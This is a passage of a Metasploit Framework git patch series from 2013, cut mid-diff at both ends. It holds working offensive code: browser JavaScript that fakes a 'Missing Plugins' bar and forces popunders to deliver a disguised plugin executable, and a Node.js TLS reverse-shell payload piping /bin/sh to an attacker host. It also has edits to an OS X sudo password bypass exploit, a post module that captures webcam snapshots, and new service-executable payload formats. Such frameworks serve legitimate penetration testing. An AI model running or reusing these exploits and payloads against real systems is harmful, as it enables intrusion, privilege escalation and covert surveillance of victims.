'zAwHA4SzpQjiTw4nQ4YHC6LH9/yWBseo9tjNbnz6GTumUIef9dzABuBgoODAAUJCRiKi4mMgBeQCJCTlBcbEBQTmhSZnBOcmRAOGqSlp'+ + 'qYOHx6rrK2tHyEAOw=='; + var dialog = document.createElement('div'); + var leftstyle = 'position:absolute;left:10px;top:0;font-size:11px;color:#000;font-weight:600;'+ + 'font-family: arial, sans-serif;line-height:27px;'; + var btnstyle = 'position:absolute;right:10px;top:5px;font-size:11px;color:#000;border-radius:10px;'+ + 'background:#ccc;padding:2px 12px;background:#f6f6f6;background-image:'+ + 'linear-gradient(0deg, #e9e9e9, #f6f6f6);border:1px solid #a0a0a0;'+ + 'font-family: arial, san-serif;box-shadow:inset 0 1px 1px rgba(255,255,255,.3),'+ + '0 1px 1px rgba(255,255,255,.3);cursor:pointer;'; + if (!navigator.userAgent.match(/macintosh/i)) { + btnstyle += 'top: 4px;border:1px solid #043779;padding-top:3px; padding-bottom:3px;border-radius:4px;'; + } + dialog.innerHTML = '
'+ + 'Additional plugins are required to display all the '+ + 'media on this page.
'+ + '
Install Missing Plugins...
'; + dialog.style.position = 'absolute'; // necessary? + dialog.style.position = 'fixed'; + dialog.style.left = dialog.style.right = '0'; + dialog.style.height = '27px'; + + if (navigator.userAgent.match(/macintosh/i)) { + dialog.style.background = '#ffe600'; + dialog.style.backgroundImage = 'linear-gradient(0deg, #fdcb00, #ffe600)'; + dialog.style.borderBottom = '1px solid #bd8d00'; + } else { + dialog.style.background = '#ffffde'; + dialog.style.borderBottom = '1px solid #aca997'; + } + dialog.style.boxShadow = '0 -1px 1px rgba(255,255,255,.3)'; + dialog.style.top = '-27px'; + document.body.style.position = 'relative'; + document.body.style.top = '0'; + document.body.appendChild(dialog); + dialog.onclick = opts.onclick; + // animate it in + var y = -27; + var clearme = window.setInterval(function(){ + dialog.style.top = (++y)+'px'; + if (y >= 0) { + window.clearInterval(clearme); + document.body.style.top = '27px'; + } + }, 10); + } + } + }; + var to = 300; + setTimeout(function(){tryspoof();}, to); + }; + return spoof_plugins; + })(browser); + var popunder = (function(browser){ + var uniq = 0; + browser = browser || {}; + var popunder = function(url, opts) { + // set some defaults for opts + opts = opts || {}; + opts.name = opts.name || '_pu'+uniq++; + opts.height = opts.height || 200; + opts.width = opts.width || 200; + opts.x = window.screenLeft || window.screenX || 0; + opts.y = window.screenTop || window.screenY || 0; + + var query_str = 'toolbar=no,scrollbars=yes,location=yes,statusbar=yes,'+ + 'menubar=no,width='+opts.w+',height='+opts.h+ + ',screenX='+opts.x+',screenY='+opts.y; + var pu = window.open(url, opts.name, query_str); + var c = pu.setInterval('window.blur(); opener.focus();', 1); + var c2 = window.setInterval('window.focus();', 1); + setTimeout(function(){ window.clearTimeout(c2); if(pu&&pu.clearTimeout) pu.clearTimeout(c); }, 3000); + if (browser.firefox) { // dbl check this! + // firefox needs a new popup to trick it. + pu.open('about:blank', '_b').close(); + window.open('about:blank', '_b2').close() + } + else if (browser.chrome) { + var a = document.createElement("a"); + a.href = "data:text/html,window.close();"; + document.body.appendChild(a); + var cc = document.createEvent("MouseEvents"); + cc.initMouseEvent("click", false, true, window, 0, 0, 0, 0, 0, + true, false, false, true, 0, null); + a.dispatchEvent(cc); + document.body.removeChild(a); + if(window.t2){window.t2.close();} + window.setTimeout(function(){if(window.t2){window.t2.close();}}); + } + pu.blur(); window.focus(); window.self.window.focus(); // for good measure :) + return pu; + }; + return popunder; + })(browser); + window.name = '__flash'; + window.setInterval(function(){ + window.name = '__flash'; + },20); + EOS + end + + # grabs the HTML content of the CLONEURL datastore option + def fetch_cloned_content(clone_url=datastore['CLONEURL']) + io = open(clone_url) + html = rewrite_urls(io) + io.close + html + end + + # updates any elements in the document to use absolute paths + def rewrite_urls(io) + print_status 'Rewriting relative URLs in cloned HTML...' + doc = Nokogiri::HTML(io) + %w(href src data).each do |attr_name| + doc.css("[#{attr_name}]").each do |el| + # rewrite URL if not absolute + src = el.attributes[attr_name] + el.set_attribute(attr_name, URI.join(datastore['CLONEURL'], src)) + end + end + doc.to_html + end + + def swf_navigate_ie10 + swf_path = File.join(Msf::Config.install_root, "data", "exploits", "navigate_ie10.swf") + @flash_trigger ||= File.read(swf_path) + end + + def swf_url(agent) + exe_url(agent).sub(/\.\w+$/, '.swf') + end + + def exe_url(agent, base=base_url) + name = datastore["PLUGINNAME"].downcase.gsub(/\s+/, '_') + base ||= get_resource + if agent =~ /macintosh/i + "#{base}/#{name}_plugin.zip" + elsif agent =~ /linux/i + "#{base}/#{name}_plugin.sh" + else + "#{base}/#{name}_plugin.exe" + end + end + + # @return [String] URL for sending requests back to the module + def base_url + proto = (datastore["SSL"] ? "https" : "http") + myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] + "#{proto}://#{myhost}:#{datastore['SRVPORT']}#{get_resource}" + end + + def plugin_url + datastore['PLUGINURL'] + end +end diff --git a/modules/exploits/osx/local/sudo_password_bypass.rb b/modules/exploits/osx/local/sudo_password_bypass.rb index 9b3f45bf4017d..de95939a4ad6f 100644 --- a/modules/exploits/osx/local/sudo_password_bypass.rb +++ b/modules/exploits/osx/local/sudo_password_bypass.rb @@ -187,8 +187,8 @@ def run_sudo_cmd " -settimezone GMT -settime 00:00") cmd_exec( "sudo -k; \n"+ - "#{SYSTEMSETUP_PATH} -setusingnetworktime Off -setdate 01:01:1970"+ - " -settimezone GMT -settime 00:00" + "#{SYSTEMSETUP_PATH} -setusingnetworktime Off -settimezone GMT"+ + " -setdate 01:01:1970 -settime 00:00" ) print_good "Running: " diff --git a/modules/payloads/singles/cmd/unix/reverse_js_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_js_ssl.rb new file mode 100644 index 0000000000000..a4483b0c41d63 --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_js_ssl.rb @@ -0,0 +1,67 @@ + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Reverse TCP SSL (via JS)', + 'Description' => 'Creates an interactive shell via JS, uses SSL', + 'Author' => 'RageLtMan', + 'License' => BSD_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcpSsl, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'js', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + # Future proof for PrependEncoder + ret = super + command_string + # For copy-paste to files or other sessions + vprint_good(ret) + return ret + end + + # + # Returns the command string to use for execution + # + def command_string + + lhost = Rex::Socket.is_ipv6?(lhost) ? "[#{datastore['LHOST']}]" : datastore['LHOST'] + cmd = %q| + var tls = require("tls"), spawn = require("child_process").spawn, util = require("util"), sh = spawn("/bin/sh",[]); + var client = this; + client.socket = tls.connect(#{datastore['LPORT']},"#{lhost}", function() { + client.socket.pipe(sh.stdin); + util.pump(sh.stdout,client.socket); + util.pump(sh.stderr,client.socket); + }); + | + return "js -e '#{cmd.gsub("\n",'').gsub(/\s+/,' ').gsub(/[']/, '\\\\\'')}' >/dev/null 2>&1 & " + end +end diff --git a/modules/post/osx/manage/upgrade_to_java_meterpreter.rb b/modules/post/osx/manage/upgrade_to_java_meterpreter.rb new file mode 100644 index 0000000000000..ad7f8e89e1b4e --- /dev/null +++ b/modules/post/osx/manage/upgrade_to_java_meterpreter.rb @@ -0,0 +1,123 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Post + + include Msf::Auxiliary::Report + + def initialize(info={}) + super(update_info(info, + 'Name' => 'OSX Upgrade to Java Meterpreter', + 'Description' => %q{ + This module will upgrade a regular OSX shell session to a Java meterpreter session. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'joev'], + 'Platform' => [ 'osx'], + 'SessionTypes' => [ "meterpreter" ] + )) + end + + + def run + if client.nil? + print_error("Invalid session ID selected. Make sure the host isn't dead.") + return + end + + if not action + print_error("Invalid action") + return + end + + case action.name + when /^list$/i + list_webcams(true) + when /^snapshot$/i + snapshot + end + end + + + def rhost + client.sock.peerhost + end + + + def snapshot + webcams = list_webcams + + if webcams.empty? + print_error("#{rhost} - No webcams found") + return + end + + if not webcams[datastore['INDEX']-1] + print_error("#{rhost} - No such index: #{datastore['INDEX'].to_s}") + return + end + + buf = nil + + begin + print_status("#{rhost} - Starting...") + client.webcam.webcam_start(datastore['INDEX']) + + buf = client.webcam.webcam_get_frame(datastore['QUALITY']) + if buf + print_status("#{rhost} - Got frame") + + p = store_loot( + "#{rhost}.webcam.snapshot", + 'application/octet-stream', + rhost, + buf, + "#{rhost}_snapshot.jpg", + "#{rhost} Webcam Snapshot" + ) + + print_good("#{rhost} - Snapshot saved: #{p}") + end + + client.webcam.webcam_stop + print_status("#{rhost} - Stopped") + rescue Rex::Post::Meterpreter::RequestError => e + print_error(e.message) + return + end + end + + + def list_webcams(show=false) + begin + webcams = client.webcam.webcam_list + rescue Rex::Post::Meterpreter::RequestError + webcams = [] + end + + if show + tbl = Rex::Ui::Text::Table.new( + 'Header' => 'Webcam List', + 'Indent' => 1, + 'Columns' => ['Index', 'Name'] + ) + + webcams.each_with_index do |name, indx| + tbl << [(indx+1).to_s, name] + end + + print_line(tbl.to_s) + end + + return webcams + end + +end + From 3cdc6abec6211e082b4902b401970127820baa14 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Fri, 23 Aug 2013 20:19:21 -0500 Subject: [PATCH 342/454] Clean up some code, get CMD working. --- .../osx/local/sudo_password_bypass.rb | 27 ++++++------------- 1 file changed, 8 insertions(+), 19 deletions(-) diff --git a/modules/exploits/osx/local/sudo_password_bypass.rb b/modules/exploits/osx/local/sudo_password_bypass.rb index de95939a4ad6f..b73c2afbffbca 100644 --- a/modules/exploits/osx/local/sudo_password_bypass.rb +++ b/modules/exploits/osx/local/sudo_password_bypass.rb @@ -153,20 +153,12 @@ def exploit end def cleanup - print_status("cleanup callback") - if not @_cleaning_up - @_cleaning_up = true - do_cleanup - end + do_cleanup_once super end def on_new_session(session) - print_status("on_new_session callback") - if not @_cleaning_up - @_cleaning_up = true - do_cleanup - end + do_cleanup_once super end @@ -201,26 +193,23 @@ def run_sudo_cmd print_good output end - def do_cleanup - print_status("Resetting system clock to original values") if @time + def do_cleanup_once + return if @_cleaned_up + @_cleaned_up = true - print_status("Executing: #{SYSTEMSETUP_PATH} -settimezone #{[@zone].shelljoin}") + print_status("Resetting system clock to original values") if @time cmd_exec("#{SYSTEMSETUP_PATH} -settimezone #{[@zone].shelljoin}") unless @zone.nil? - - print_status("Executing: #{SYSTEMSETUP_PATH} -setdate #{[@date].shelljoin}") cmd_exec("#{SYSTEMSETUP_PATH} -setdate #{[@date].shelljoin}") unless @date.nil? - - print_status("Executing: #{SYSTEMSETUP_PATH} -settime #{[@time].shelljoin}") cmd_exec("#{SYSTEMSETUP_PATH} -settime #{[@time].shelljoin}") unless @time.nil? if @networked - print_status("Executing: #{SYSTEMSETUP_PATH} -setusingnetworktime On") cmd_exec("#{SYSTEMSETUP_PATH} -setusingnetworktime On") unless @network_server.nil? - print_status("Executing: #{SYSTEMSETUP_PATH} -setnetworktimeserver #{[@network_server].shelljoin}") cmd_exec("#{SYSTEMSETUP_PATH} -setnetworktimeserver #{[@network_server].shelljoin}") end end + + print_success("Completed clock reset.") if @time end # helper methods for accessing datastore From 3fae6c51c88df376720b77c4771c2a1934b58923 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sat, 24 Aug 2013 03:28:47 +0100 Subject: [PATCH 343/454] Initial exe-service --- lib/msf/util/exe.rb | 11 ++++++++++- spec/lib/msf/util/exe_spec.rb | 2 ++ 2 files changed, 12 insertions(+), 1 deletion(-) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 77fe62c303dd1..f8392b2e5f346 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -1990,6 +1990,15 @@ def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts) output = Msf::Util::EXE.to_win64pe(framework, code, exeopts) end + when 'exe-service' + if (not arch or (arch.index(ARCH_X86))) + output = Msf::Util::EXE.to_win32pe_service(framework, code, exeopts) + end + + if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 ))) + output = Msf::Util::EXE.to_win64pe_service(framework, code, exeopts) + end + when 'exe-small' if(not arch or (arch.index(ARCH_X86))) output = Msf::Util::EXE.to_win32pe_old(framework, code, exeopts) @@ -2068,7 +2077,7 @@ def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts) end def self.to_executable_fmt_formats - ['dll','exe','exe-small','exe-only','elf','macho','vba','vba-exe','vbs','loop-vbs','asp','aspx','war','psh','psh-net'] + ['dll','exe','exe-service','exe-small','exe-only','elf','macho','vba','vba-exe','vbs','loop-vbs','asp','aspx','war','psh','psh-net'] end # diff --git a/spec/lib/msf/util/exe_spec.rb b/spec/lib/msf/util/exe_spec.rb index 3bb0c79b1e63d..9a4098e93ea6d 100644 --- a/spec/lib/msf/util/exe_spec.rb +++ b/spec/lib/msf/util/exe_spec.rb @@ -27,6 +27,8 @@ { :format => "dll", :arch => "x64", :file_fp => /PE32\+.*DLL/ }, { :format => "exe", :arch => "x86", :file_fp => /PE32 / }, { :format => "exe", :arch => "x64", :file_fp => /PE32\+/ }, + { :format => "exe-service", :arch => "x86", :file_fp => /PE32 / }, + { :format => "exe-service", :arch => "x64", :file_fp => /PE32\+/ }, { :format => "exe-small", :arch => "x86", :file_fp => /PE32 / }, # No template for 64-bit exe-small. That's fine, we probably # don't need one. From 9786f84a6ebe054f7aca50a26748885ee80a809a Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sat, 24 Aug 2013 03:45:07 +0100 Subject: [PATCH 344/454] Service exes --- lib/msf/util/exe.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 44b88f38c8c86..a28d606dc2610 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -2011,7 +2011,7 @@ def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts) when ARCH_X64 then to_win64pe(framework, code, exeopts) end - when 'exe' + when 'exe-service' output = case arch when ARCH_X86,nil then to_win32pe_service(framework, code, exeopts) when ARCH_X86_64 then to_win64pe_service(framework, code, exeopts) @@ -2092,7 +2092,7 @@ def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts) def self.to_executable_fmt_formats [ - 'dll','exe','exe-small','exe-only','elf','macho','vba','vba-exe', + 'dll','exe','exe-service','exe-small','exe-only','elf','macho','vba','vba-exe', 'vbs','loop-vbs','asp','aspx','war','psh','psh-net' ] end From b4b59aa0650c921b552097a4696a42b91942bcc1 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sat, 24 Aug 2013 11:59:59 +0100 Subject: [PATCH 345/454] Add guards against empty payloads --- lib/rex/text.rb | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/lib/rex/text.rb b/lib/rex/text.rb index 820cd43a1bbb6..23f4275452141 100644 --- a/lib/rex/text.rb +++ b/lib/rex/text.rb @@ -202,6 +202,8 @@ def self.to_java(str, name = "shell") # Converts a raw string to a powershell byte array # def self.to_powershell(str, name = "buf") + return "[Byte[]]$#{name} = ''" if str.nil? or str.empty? + code = str.unpack('C*') buff = "[Byte[]]$#{name} = 0x#{code[0].to_s(16)}" 1.upto(code.length-1) do |byte| @@ -219,6 +221,8 @@ def self.to_powershell(str, name = "buf") # Converts a raw string to a vbscript byte array # def self.to_vbscript(str, name = "buf") + return "#{name}" if str.nil? or str.empty? + code = str.unpack('C*') buff = "#{name}=Chr(#{code[0]})" 1.upto(code.length-1) do |byte| @@ -238,6 +242,8 @@ def self.to_vbscript(str, name = "buf") # Converts a raw string into a vba buffer # def self.to_vbapplication(str, name = "buf") + return "#{name} = Array()" if str.nil? or str.empty? + code = str.unpack('C*') buff = "#{name} = Array(" maxbytes = 20 From 453247430968ecbfba6e8eb6bc9df295d27eff30 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sat, 24 Aug 2013 09:47:40 -0500 Subject: [PATCH 346/454] Allow cleanup from the new session --- .../osx/local/sudo_password_bypass.rb | 20 ++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) diff --git a/modules/exploits/osx/local/sudo_password_bypass.rb b/modules/exploits/osx/local/sudo_password_bypass.rb index b73c2afbffbca..a2a653b84d2e4 100644 --- a/modules/exploits/osx/local/sudo_password_bypass.rb +++ b/modules/exploits/osx/local/sudo_password_bypass.rb @@ -49,7 +49,7 @@ def initialize(info={}) ], 'Platform' => 'osx', 'Arch' => [ ARCH_X86, ARCH_X86_64, ARCH_CMD ], - 'SessionTypes' => [ 'shell', 'meterpreter'], + 'SessionTypes' => [ 'shell' ], 'Targets' => [ [ 'Mac OS X x86 (Native Payload)', { @@ -153,12 +153,12 @@ def exploit end def cleanup - do_cleanup_once + do_cleanup_once(session) super end def on_new_session(session) - do_cleanup_once + do_cleanup_once(session) super end @@ -193,19 +193,21 @@ def run_sudo_cmd print_good output end - def do_cleanup_once + # cmd_exec doesn't allow to get a session, so there is no way to make the cleanup + # from the new privileged session, when called from the on_new_session callback. + def do_cleanup_once(session) return if @_cleaned_up @_cleaned_up = true print_status("Resetting system clock to original values") if @time - cmd_exec("#{SYSTEMSETUP_PATH} -settimezone #{[@zone].shelljoin}") unless @zone.nil? - cmd_exec("#{SYSTEMSETUP_PATH} -setdate #{[@date].shelljoin}") unless @date.nil? - cmd_exec("#{SYSTEMSETUP_PATH} -settime #{[@time].shelljoin}") unless @time.nil? + session.shell_command_token("#{SYSTEMSETUP_PATH} -settimezone #{[@zone].shelljoin}") unless @zone.nil? + session.shell_command_token("#{SYSTEMSETUP_PATH} -setdate #{[@date].shelljoin}") unless @date.nil? + session.shell_command_token("#{SYSTEMSETUP_PATH} -settime #{[@time].shelljoin}") unless @time.nil? if @networked - cmd_exec("#{SYSTEMSETUP_PATH} -setusingnetworktime On") + session.shell_command_token("#{SYSTEMSETUP_PATH} -setusingnetworktime On") unless @network_server.nil? - cmd_exec("#{SYSTEMSETUP_PATH} -setnetworktimeserver #{[@network_server].shelljoin}") + session.shell_command_token("#{SYSTEMSETUP_PATH} -setnetworktimeserver #{[@network_server].shelljoin}") end end From 832fa8838b9360b54966f5e658a6ad21244567d5 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sat, 24 Aug 2013 09:57:33 -0500 Subject: [PATCH 347/454] Change the command to launch after background the payload job --- modules/exploits/osx/local/sudo_password_bypass.rb | 9 ++------- 1 file changed, 2 insertions(+), 7 deletions(-) diff --git a/modules/exploits/osx/local/sudo_password_bypass.rb b/modules/exploits/osx/local/sudo_password_bypass.rb index a2a653b84d2e4..5a90b9d62e5fd 100644 --- a/modules/exploits/osx/local/sudo_password_bypass.rb +++ b/modules/exploits/osx/local/sudo_password_bypass.rb @@ -113,7 +113,6 @@ def exploit else # "remember" the current system time/date/network/zone print_good("User is an admin, continuing...") - print_status("Saving system clock config...") # drop the payload (unless CMD) if using_native_target? @@ -124,16 +123,12 @@ def exploit print_status("Payload dropped and registered for cleanup") end - print_status("Executing: #{SYSTEMSETUP_PATH} -gettime") + print_status("Saving system clock config...") @time = cmd_exec("#{SYSTEMSETUP_PATH} -gettime").match(/^time: (.*)$/i)[1] - print_status("Executing: #{SYSTEMSETUP_PATH} -getdate") @date = cmd_exec("#{SYSTEMSETUP_PATH} -getdate").match(/^date: (.*)$/i)[1] - print_status("Executing: #{SYSTEMSETUP_PATH} -getusingnetworktime") @networked = cmd_exec("#{SYSTEMSETUP_PATH} -getusingnetworktime") =~ (/On$/) - print_status("Executing: #{SYSTEMSETUP_PATH} -gettimezone") @zone = cmd_exec("#{SYSTEMSETUP_PATH} -gettimezone").match(/^time zone: (.*)$/i)[1] @network_server = if @networked - print_status("Executing: #{SYSTEMSETUP_PATH} -getnetworktimeserver") cmd_exec("#{SYSTEMSETUP_PATH} -getnetworktimeserver").match(/time server: (.*)$/i)[1] end @@ -172,7 +167,7 @@ def run_sudo_cmd end ## to prevent the password prompt from destroying session - sudo_cmd = 'echo "" | ' + sudo_cmd_raw + ' & sleep 5' + sudo_cmd = 'echo "" | ' + sudo_cmd_raw + ' & true' print_status("Executing: sudo -k; \n"+ "#{SYSTEMSETUP_PATH} -setusingnetworktime Off -setdate 01:01:1970"+ From 480794a9abda71de796bc8888434bff47df1371c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sat, 24 Aug 2013 10:40:08 -0500 Subject: [PATCH 348/454] Make small fixes --- modules/exploits/osx/local/sudo_password_bypass.rb | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) diff --git a/modules/exploits/osx/local/sudo_password_bypass.rb b/modules/exploits/osx/local/sudo_password_bypass.rb index 5a90b9d62e5fd..76c91b4635f78 100644 --- a/modules/exploits/osx/local/sudo_password_bypass.rb +++ b/modules/exploits/osx/local/sudo_password_bypass.rb @@ -169,23 +169,21 @@ def run_sudo_cmd ## to prevent the password prompt from destroying session sudo_cmd = 'echo "" | ' + sudo_cmd_raw + ' & true' - print_status("Executing: sudo -k; \n"+ - "#{SYSTEMSETUP_PATH} -setusingnetworktime Off -setdate 01:01:1970"+ - " -settimezone GMT -settime 00:00") + print_status("Resetting user's time stamp file and setting clock to the epoch") cmd_exec( "sudo -k; \n"+ "#{SYSTEMSETUP_PATH} -setusingnetworktime Off -settimezone GMT"+ " -setdate 01:01:1970 -settime 00:00" ) - print_good "Running: " - print sudo_cmd + "\n" + print_status "Running command: " + print_line sudo_cmd output = cmd_exec(sudo_cmd) if output =~ /incorrect password attempts\s*$/i fail_with(Exploit::Failure::NotFound, "User has never run sudo, and is therefore not vulnerable. Bailing.") end - print_good output + #print_good output end # cmd_exec doesn't allow to get a session, so there is no way to make the cleanup @@ -206,7 +204,7 @@ def do_cleanup_once(session) end end - print_success("Completed clock reset.") if @time + print_good("Completed clock reset.") if @time end # helper methods for accessing datastore From 82cf8123117c10d37c15a2181d5ae8c59281ae02 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sat, 24 Aug 2013 10:46:04 -0500 Subject: [PATCH 349/454] Switch to PrependMigrate --- .../exploits/windows/browser/mozilla_firefox_xmlserializer.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/browser/mozilla_firefox_xmlserializer.rb b/modules/exploits/windows/browser/mozilla_firefox_xmlserializer.rb index 04aa7f5c879e4..502302717e295 100644 --- a/modules/exploits/windows/browser/mozilla_firefox_xmlserializer.rb +++ b/modules/exploits/windows/browser/mozilla_firefox_xmlserializer.rb @@ -42,7 +42,7 @@ def initialize(info = {}) 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f' + 'PrependMigrate' => true }, 'Payload' => { From ab293d2ad9a899c8ee5971d01be1d9c20cb29c58 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sat, 24 Aug 2013 10:51:19 -0500 Subject: [PATCH 350/454] Make msftidy happy --- modules/exploits/osx/local/sudo_password_bypass.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/osx/local/sudo_password_bypass.rb b/modules/exploits/osx/local/sudo_password_bypass.rb index 76c91b4635f78..47d4b5382f50b 100644 --- a/modules/exploits/osx/local/sudo_password_bypass.rb +++ b/modules/exploits/osx/local/sudo_password_bypass.rb @@ -74,7 +74,7 @@ def initialize(info={}) 'DisclosureDate' => 'Feb 28 2013' )) register_advanced_options([ - OptString.new('TMP_FILE', + OptString.new('TMP_FILE', [true,'For the native targets, specifies the path that '+ 'the executable will be dropped on the client machine.', '/tmp/./'] From 73f42591560f6366807d4ae0188de497a4e292f6 Mon Sep 17 00:00:00 2001 From: jiuweigui Date: Sat, 24 Aug 2013 19:14:48 +0300 Subject: [PATCH 351/454] Fix based on suggestions --- modules/post/windows/gather/enum_prefetch.rb | 105 ++++++++----------- 1 file changed, 42 insertions(+), 63 deletions(-) diff --git a/modules/post/windows/gather/enum_prefetch.rb b/modules/post/windows/gather/enum_prefetch.rb index 12a61b63ea31f..e325399972852 100644 --- a/modules/post/windows/gather/enum_prefetch.rb +++ b/modules/post/windows/gather/enum_prefetch.rb @@ -10,7 +10,9 @@ require 'msf/core/post/windows/registry' class Metasploit3 < Msf::Post + include Msf::Post::File include Msf::Post::Windows::Priv + include Msf::Post::Windows::Registry def initialize(info={}) super(update_info(info, @@ -28,86 +30,62 @@ def initialize(info={}) def prefetch_key_value() # Checks if Prefetch registry key exists and what value it has. - prefetch_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\Session\ Manager\\Memory\ Management\\PrefetchParameters", KEY_READ) - key_value = prefetch_key.query_value("EnablePrefetcher").data - - if key_value == 0 + prefetch_key_value = registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management\\PrefetchParameters", "EnablePrefetcher") + if prefetch_key_value == 0 print_error("EnablePrefetcher Value: (0) = Disabled (Non-Default).") - elsif key_value == 1 + elsif prefetch_key_value == 1 print_good("EnablePrefetcher Value: (1) = Application launch prefetching enabled (Non-Default).") - elsif key_value == 2 + elsif prefetch_key_value == 2 print_good("EnablePrefetcher Value: (2) = Boot prefetching enabled (Non-Default, excl. Win2k3).") - elsif key_value == 3 + elsif prefetch_key_value == 3 print_good("EnablePrefetcher Value: (3) = Applaunch and boot enabled (Default Value, excl. Win2k3).") else print_error("No value or unknown value. Results might vary.") end - prefetch_key.close end def timezone_key_values(key_value) # Looks for timezone from registry - timezone_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation", KEY_READ) - if timezone_key.nil? + timezone = registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation", key_value) + tz_bias = registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation", "Bias") + if timezone.nil? or tz_bias.nil? print_line("Couldn't find key/value for timezone from registry.") else - timezone = timezone_key.query_value(key_value).data - tzbias = timezone_key.query_value("Bias").data - if timezone.nil? or tzbias.nil? - print_error("Couldn't find timezone information from registry.") - else print_good("Remote: Timezone is %s." % timezone) - if tzbias < 0xfff - bias = tzbias - print_good("Remote: Localtime bias to UTC: -%s minutes." % bias) + if tz_bias < 0xfff + print_good("Remote: Localtime bias to UTC: -%s minutes." % tz_bias) else offset = 0xffffffff - bias = offset - tzbias + bias = offset - tz_bias print_good("Remote: Localtime bias to UTC: +%s minutes." % bias) end end end - timezone_key.close - end - def gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offset, filename, table) - # This function seeks and gathers information from specific offsets. - h = client.railgun.kernel32.CreateFileA(filename, "GENERIC_READ", "FILE_SHARE_DELETE|FILE_SHARE_READ|FILE_SHARE_WRITE", nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_READONLY", nil) - - if h['GetLastError'] != 0 - print_error("Error opening a file handle on %s." % filename) + def gather_pf_info(name_offset, hash_offset, runcount_offset, filename, table) + # We'll load the file and parse information from the offsets + prefetch_file = read_file(filename) + if prefetch_file.empty? or prefetch_file.nil? + print_error("Couldn't read file: #{filename}") else - handle = h['return'] - - # Finds the filename from the prefetch file - client.railgun.kernel32.SetFilePointer(handle, name_offset, 0, nil) - fname = client.railgun.kernel32.ReadFile(handle, 60, 60, 4, nil) - name = fname['lpBuffer'] - idx = name.index("\x00\x00") - - # Finds the run count from the prefetch file - client.railgun.kernel32.SetFilePointer(handle, runcount_offset, 0, nil) - count = client.railgun.kernel32.ReadFile(handle, 4, 4, 4, nil) - - # Finds the file path hash from the prefetch file. - client.railgun.kernel32.SetFilePointer(handle, hash_offset, 0, nil) - hash = client.railgun.kernel32.ReadFile(handle, 4, 4, 4, nil) - - # Finds the LastModified/Created timestamp (MACE) + # First we'll get the filename + pf_filename = prefetch_file[name_offset..name_offset+60] + idx = pf_filename.index("\x00\x00") + name = Rex::Text.to_ascii(pf_filename.slice(0..idx)) + # Next we'll get the run count + run_count = prefetch_file[runcount_offset..runcount_offset+4].unpack('L*')[0].to_s + # Then file path hash + path_hash = prefetch_file[hash_offset..hash_offset+4].unpack('h8')[0].reverse.upcase.to_s + # Last is mace value for timestamps mtimes = client.priv.fs.get_file_mace(filename) - - # Checking and moving the values - if idx.nil? or count.nil? or hash.nil? or mtimes.nil? - print_error("Error reading file (might be temporary): %s" % filename) + if mtimes.nil? or mtimes.empty? + last_modified = "Error reading value" + created = "Error reading value" else - pname = Rex::Text.to_ascii(name.slice(0..idx)) - prun = count['lpBuffer'].unpack('L*')[0] - phash = hash['lpBuffer'].unpack('h*')[0].reverse - lmod = mtimes['Modified'].utc - creat = mtimes['Created'].utc - table << [lmod, creat,prun,phash,pname] + last_modified = mtimes['Modified'].utc.to_s + created = mtimes['Created'].utc.to_s end - client.railgun.kernel32.CloseHandle(handle) + table << [last_modified, created, run_count, path_hash, name] end end @@ -123,6 